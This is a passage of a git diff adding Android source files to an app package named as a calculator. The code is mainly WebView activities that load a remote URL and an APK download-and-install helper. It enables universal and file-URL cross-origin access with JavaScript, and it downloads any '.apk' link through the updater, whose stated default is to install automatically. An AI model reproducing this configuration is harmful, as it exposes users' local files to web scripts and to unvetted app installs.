a/winway/src/main/java/winway/calculcator/Utils.java b/winway/src/main/java/winway/calculcator/Utils.java new file mode 100644 index 0000000..edaf8b8 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/Utils.java @@ -0,0 +1,16 @@ +package winway.calculcator; + +public class Utils { + + public static boolean isImageUrl(String url) { + String end = url.substring(url.lastIndexOf(".") + 1).toLowerCase(); + String[] images = new String[]{"jpeg", "png", "jpg", "bmp", "webp", "gif"}; + for (String name : images) { + if (end.equals(name)) { + return true; + } + } + return false; + } + +} diff --git a/winway/src/main/java/winway/calculcator/WebView2Activity.java b/winway/src/main/java/winway/calculcator/WebView2Activity.java new file mode 100644 index 0000000..0249987 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/WebView2Activity.java @@ -0,0 +1,340 @@ +package winway.calculcator; + +import android.annotation.TargetApi; +import android.content.ActivityNotFoundException; +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.net.http.SslError; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.KeyEvent; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.tencent.smtt.export.external.interfaces.ConsoleMessage; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + +import java.io.UnsupportedEncodingException; +import java.net.URLEncoder; +import java.util.Map; + +import winway.calculcator.appdown.AppUpdater; +import winway.calculcator.appdown.UpdateConfig; +import winway.calculcator.appdown.constant.Constants; +import winway.calculcator.appdown.util.AppUtils; +import winway.calculcator.appdown.util.NotificationUtils; + +public class WebView2Activity extends AppCompatActivity { + + private String url; + WebView webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_webview); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + settings.setMediaPlaybackRequiresUserGesture(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebView2Activity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { + LogUtils.d("consolemessage==" + consoleMessage.message()); + return true; + } + + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + } + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebView2Activity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); + Constants.isUpdate = false; + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + webView.goBack(); + } else {//不能返回了 + WebView2Activity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/winway/src/main/java/winway/calculcator/WebViewActivity.java b/winway/src/main/java/winway/calculcator/WebViewActivity.java new file mode 100644 index 0000000..67f8243 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/WebViewActivity.java @@ -0,0 +1,405 @@ +package winway.calculcator; + +import android.annotation.TargetApi; +import android.app.Activity; +import android.content.ActivityNotFoundException; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.graphics.Bitmap; +import android.net.Uri; +import android.net.http.SslError; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.util.Log; +import android.view.KeyEvent; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.webkit.ValueCallback; +import android.webkit.WebChromeClient; +import android.webkit.WebResourceError; +import android.webkit.WebResourceRequest; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + + + +import java.io.UnsupportedEncodingException; +import java.net.URLEncoder; +import java.util.Map; + +import winway.calculcator.appdown.AppUpdater; +import winway.calculcator.appdown.UpdateConfig; +import winway.calculcator.appdown.constant.Constants; +import winway.calculcator.appdown.util.AppUtils; +import winway.calculcator.appdown.util.NotificationUtils; + +public class WebViewActivity extends AppCompatActivity { + + private String url; + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebViewActivity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + LogUtils.d("onReceivedError2 url==" + url + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + LogUtils.d("onReceivedError2 url==" + failingUrl + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebViewActivity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); + Constants.isUpdate = false; + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + webView.setOnGenericMotionListener(new View.OnGenericMotionListener() { + @Override + public boolean onGenericMotion(View view, MotionEvent motionEvent) { + return false; + } + }); + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + public static String getString(Context context, String key, String defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getString(key, defValue); + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + String url = webView.getUrl(); + String baseUrl = getString(WebViewActivity.this, "base_url", url); + if (baseUrl.equals(url + "index") || baseUrl.equals(url + "/index")) { + WebViewActivity.this.finish(); + } + onShowNetView(); + webView.goBack(); + } else {//不能返回了 + WebViewActivity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/winway/src/main/java/winway/calculcator/appdown/AppUpdater.java b/winway/src/main/java/winway/calculcator/appdown/AppUpdater.java new file mode 100644 index 0000000..bc658b4 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/AppUpdater.java @@ -0,0 +1,384 @@ +package winway.calculcator.appdown; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.ServiceConnection; +import android.os.IBinder; +import android.text.TextUtils; +import android.util.Log; + +import winway.calculcator.appdown.callback.UpdateCallback; +import winway.calculcator.appdown.constant.Constants; +import winway.calculcator.appdown.http.HttpManager; +import winway.calculcator.appdown.http.IHttpManager; +import winway.calculcator.appdown.http.OkHttpManager; +import winway.calculcator.appdown.service.DownloadService; +import winway.calculcator.appdown.util.PermissionUtils; + + +import java.util.Map; + +import androidx.annotation.DrawableRes; +import androidx.annotation.NonNull; + + + +/** + * @author Jenly Jenly + */ +public class AppUpdater { + /** + * {@link #mContext}不强制要求是{@link Activity},但能传{@link Activity}尽量传。AppUpdater本应该只专注于App更新,尽量不涉及动态权限相关的处理。如果mContext传的是{@link Activity},则默认会校验一次动态权限。 + */ + private Context mContext; + /** + * 配置信息 + */ + private UpdateConfig mConfig; + /** + * 更新回调 + */ + private UpdateCallback mCallback; + /** + * http管理接口,可自定义实现。如:使用okHttp + */ + private IHttpManager mHttpManager; + + private ServiceConnection mServiceConnection; + + public AppUpdater(@NonNull Context context,@NonNull UpdateConfig config){ + this.mContext = context; + this.mConfig = config; + } + + public AppUpdater(@NonNull Context context,@NonNull String url){ + this.mContext = context; + mConfig = new UpdateConfig(); + mConfig.setUrl(url); + } + + /** + * 设置下载更新进度回调 + * @param callback + * @return + */ + public AppUpdater setUpdateCallback(UpdateCallback callback){ + this.mCallback = callback; + return this; + } + + /** + * 设置一个IHttpManager + * @param httpManager AppUpdater内置提供{@link HttpManager} 和 {@link OkHttpManager}两种实现。 + * 如果不设置,将默认使用{@link HttpManager},你也可以使用{@link OkHttpManager}或自己去实现一个 + * {@link IHttpManager}。 + * 当使用{@link OkHttpManager}时,必需依赖okhttp库 + * @return + */ + public AppUpdater setHttpManager(IHttpManager httpManager){ + this.mHttpManager = httpManager; + return this; + } + + /** + * 开始下载 + */ + public void start(){ + if(mConfig != null && !TextUtils.isEmpty(mConfig.getUrl())){ + //如果mContext是Activity,并且配置了下载路径,则默认会校验一次动态权限。 + if(mContext instanceof Activity && !TextUtils.isEmpty(mConfig.getPath())){ + PermissionUtils.verifyReadAndWritePermissions((Activity) mContext,Constants.RE_CODE_STORAGE_PERMISSION); + } + + if(mConfig.isShowNotification() && !PermissionUtils.isNotificationEnabled(mContext)){ + Log.w(Constants.TAG,"Notification permission not enabled."); + } + + startDownloadService(); + }else{ + throw new NullPointerException("Url must not be empty."); + } + } + + /** + * 启动下载服务 + */ + private void startDownloadService(){ + Intent intent = new Intent(mContext, DownloadService.class); + if(mCallback!=null || mHttpManager!=null){//bindService + mServiceConnection = new ServiceConnection() { + @Override + public void onServiceConnected(ComponentName name, IBinder service) { + DownloadService.DownloadBinder binder = ((DownloadService.DownloadBinder)service); + binder.start(mConfig,mHttpManager,mCallback); + } + + @Override + public void onServiceDisconnected(ComponentName name) { + + } + }; + + mContext.getApplicationContext().bindService(intent,mServiceConnection, Context.BIND_AUTO_CREATE); + }else{//startService + intent.putExtra(Constants.KEY_UPDATE_CONFIG,mConfig); + mContext.startService(intent); + } + } + + /** + * 取消下载 + */ + public void stop(){ + stopDownloadService(); + } + + /** + * 停止下载服务 + */ + private void stopDownloadService(){ + Intent intent = new Intent(mContext, DownloadService.class); + intent.putExtra(Constants.KEY_STOP_DOWNLOAD_SERVICE,true); + mContext.startService(intent); + } + + /** + * AppUpdater建造者 + */ + public static class Builder{ + + + private UpdateConfig mConfig; + + public Builder(){ + mConfig = new UpdateConfig(); + } + + /** + * 设置APK下载地址 + * @param url 下载地址 + * @return + */ + public Builder setUrl(@NonNull String url){ + mConfig.setUrl(url); + return this; + } + + /** + * 设置保存的路径,(建议使用默认,不做设置) + * @param path 下载保存的文件路径 + * @return + * @deprecated 因为适配Android Q的分区存储,所以此方法已弃用,不建议再使用 + */ + @Deprecated + public Builder setPath(String path){ + mConfig.setPath(path); + return this; + } + + /** + * 设置保存的文件名 + * @param filename 下载的保存的apk文件名 (默认优先取url文件名) + * @return + */ + public Builder setFilename(String filename){ + mConfig.setFilename(filename); + return this; + } + + /** + * 设置是否显示通知栏 + * @param isShowNotification 是否显示通知栏 (默认true) + * @return + */ + public Builder setShowNotification(boolean isShowNotification) { + mConfig.setShowNotification(isShowNotification); + return this; + } + + /** + * 设置通知ID + * @param notificationId 通知ID + * @return + */ + public Builder setNotificationId(int notificationId) { + mConfig.setNotificationId(notificationId); + return this; + } + + /** + * 设置通知渠道ID + * @param channelId 通知渠道ID (默认兼容O) + * @return + */ + public Builder setChannelId(String channelId) { + mConfig.setChannelId(channelId); + return this; + } + + /** + * 设置通知渠道名称 + * @param channelName 通知渠道名称 (默认兼容O) + * @return + */ + public Builder setChannelName(String channelName) { + mConfig.setChannelName(channelName); + return this; + } + + /** + * 设置通知图标 + * @param icon 通知栏图标 (默认取App的icon) + * @return + */ + public Builder setNotificationIcon(@DrawableRes int icon) { + mConfig.setNotificationIcon(icon); + return this; + } + + /** + * 设置通知是否震动提示 + * @param vibrate 是否震动提示,为true时使用通知默认震动,Android O(8.0)以上设置,只有初次创建channel时有效,后续修改属性无效,想要重新有效需修改channelId或卸载App重装。 + * @return + */ + public Builder setVibrate(boolean vibrate) { + mConfig.setVibrate(vibrate); + return this; + } + + /** + * 设置通知是否铃声提示 + * @param sound 是否铃声提示,为true时使用通知默认铃声,Android O(8.0)以上设置,只有初次创建channel时有效,后续修改属性无效,想要重新有效需修改channelId或卸载App重装。 + * @return + */ + public Builder setSound(boolean sound) { + mConfig.setSound(sound); + return this; + } + + + /** + * 设置下载完成后知否自动触发安装APK + * @param isInstallApk 下载完成后是否自动调用安装APK(默认true) + * @return + */ + public Builder setInstallApk(boolean isInstallApk){ + mConfig.setInstallApk(isInstallApk); + return this; + } + + /** + * 设置FileProvider的authority + * @param authority FileProvider的authority(默认兼容N,默认值{@link Context#getPackageName() + ".AppUpdaterFileProvider"}) + * @return + */ + public Builder setAuthority(String authority){ + mConfig.setAuthority(authority); + return this; + } + + /** + * 设置下载时,通知栏是否显示下载百分比 + * @param showPercentage 下载时通知栏是否显示百分比 + * @return + */ + public Builder setShowPercentage(boolean showPercentage) { + mConfig.setShowPercentage(showPercentage); + return this; + } + + /** + * 设置下载失败时,是否支持点击通知栏重新下载。与之相关联的方法{@link #setReDownloads(int)} + * @param reDownload 下载失败时是否支持点击通知栏重新下载,默认true + * @return + */ + public Builder setReDownload(boolean reDownload) { + mConfig.setReDownload(reDownload); + return this; + } + + /** + * 设置下载失败时,最多重新下载次数。与之相关联的方法{@link #setReDownload(boolean)} + * @param reDownloads 下载失败时是否支持点击通知栏重新下载,默认最多重新下载3次 + * @return + */ + public Builder setReDownloads(int reDownloads) { + mConfig.setReDownloads(reDownloads); + return this; + } + + /** + * 设置要下载APK的versionCode,用于优先取缓存时通过versionCode校验APK文件是否一致。 + * 缓存校验目前支持两种方式,一种是通过versionCode校验,即{@link #setVersionCode(Integer)};一种是文件MD5校验,即{@link #setApkMD5(String)}。推荐使用MD5校验方式 + * 如果两种方式都设置了,则只校验MD5 + * @param versionCode 为null表示不处理,默认不存在则下载,存在则重新下载。不为null时,表示会优先校验本地是否存在已下载版本号为versionCode的APK。 + * 如果存在则不会重新下载(AppUpdater会自动校验packageName一致性),直接取本地APK,反之重新下载。 + * @return + */ + public Builder setVersionCode(Integer versionCode) { + mConfig.setVersionCode(versionCode); + return this; + } + + /** + * 设置APK文件的MD5,用于优先取缓存时通过MD5校验文件APK是否一致。 + * 缓存校验目前支持两种方式,一种是通过versionCode校验,即{@link #setVersionCode(Integer)};一种是文件MD5校验,即{@link #setApkMD5(String)}。推荐使用MD5校验方式 + * 如果两种方式都设置了,则只校验MD5 + * @param md5 为null表示不处理,如果设置了MD5,则缓存APK的MD5相同时,只下载一次,优先取本地缓存 + * @return + */ + public Builder setApkMD5(String md5) { + mConfig.setApkMD5(md5); + return this; + } + /** + * 请求头添加参数 + * @param key + * @param value + * @return + */ + public Builder addHeader(String key, String value){ + mConfig.addHeader(key,value); + return this; + } + + /** + * 请求头添加参数 + * @param headers + * @return + */ + public Builder addHeader(Map headers){ + mConfig.addHeader(headers); + return this; + } + + /** + * 设置是否自动删除取消下载的文件 + * @param deleteCancelFile 是否删除取消下载的文件(默认为true) + */ + public Builder setDeleteCancelFile(boolean deleteCancelFile){ + mConfig.setDeleteCancelFile(deleteCancelFile); + return this; + } + + /** + * 是否支持通过删除通知栏来取消下载(默认为:false) + * @param 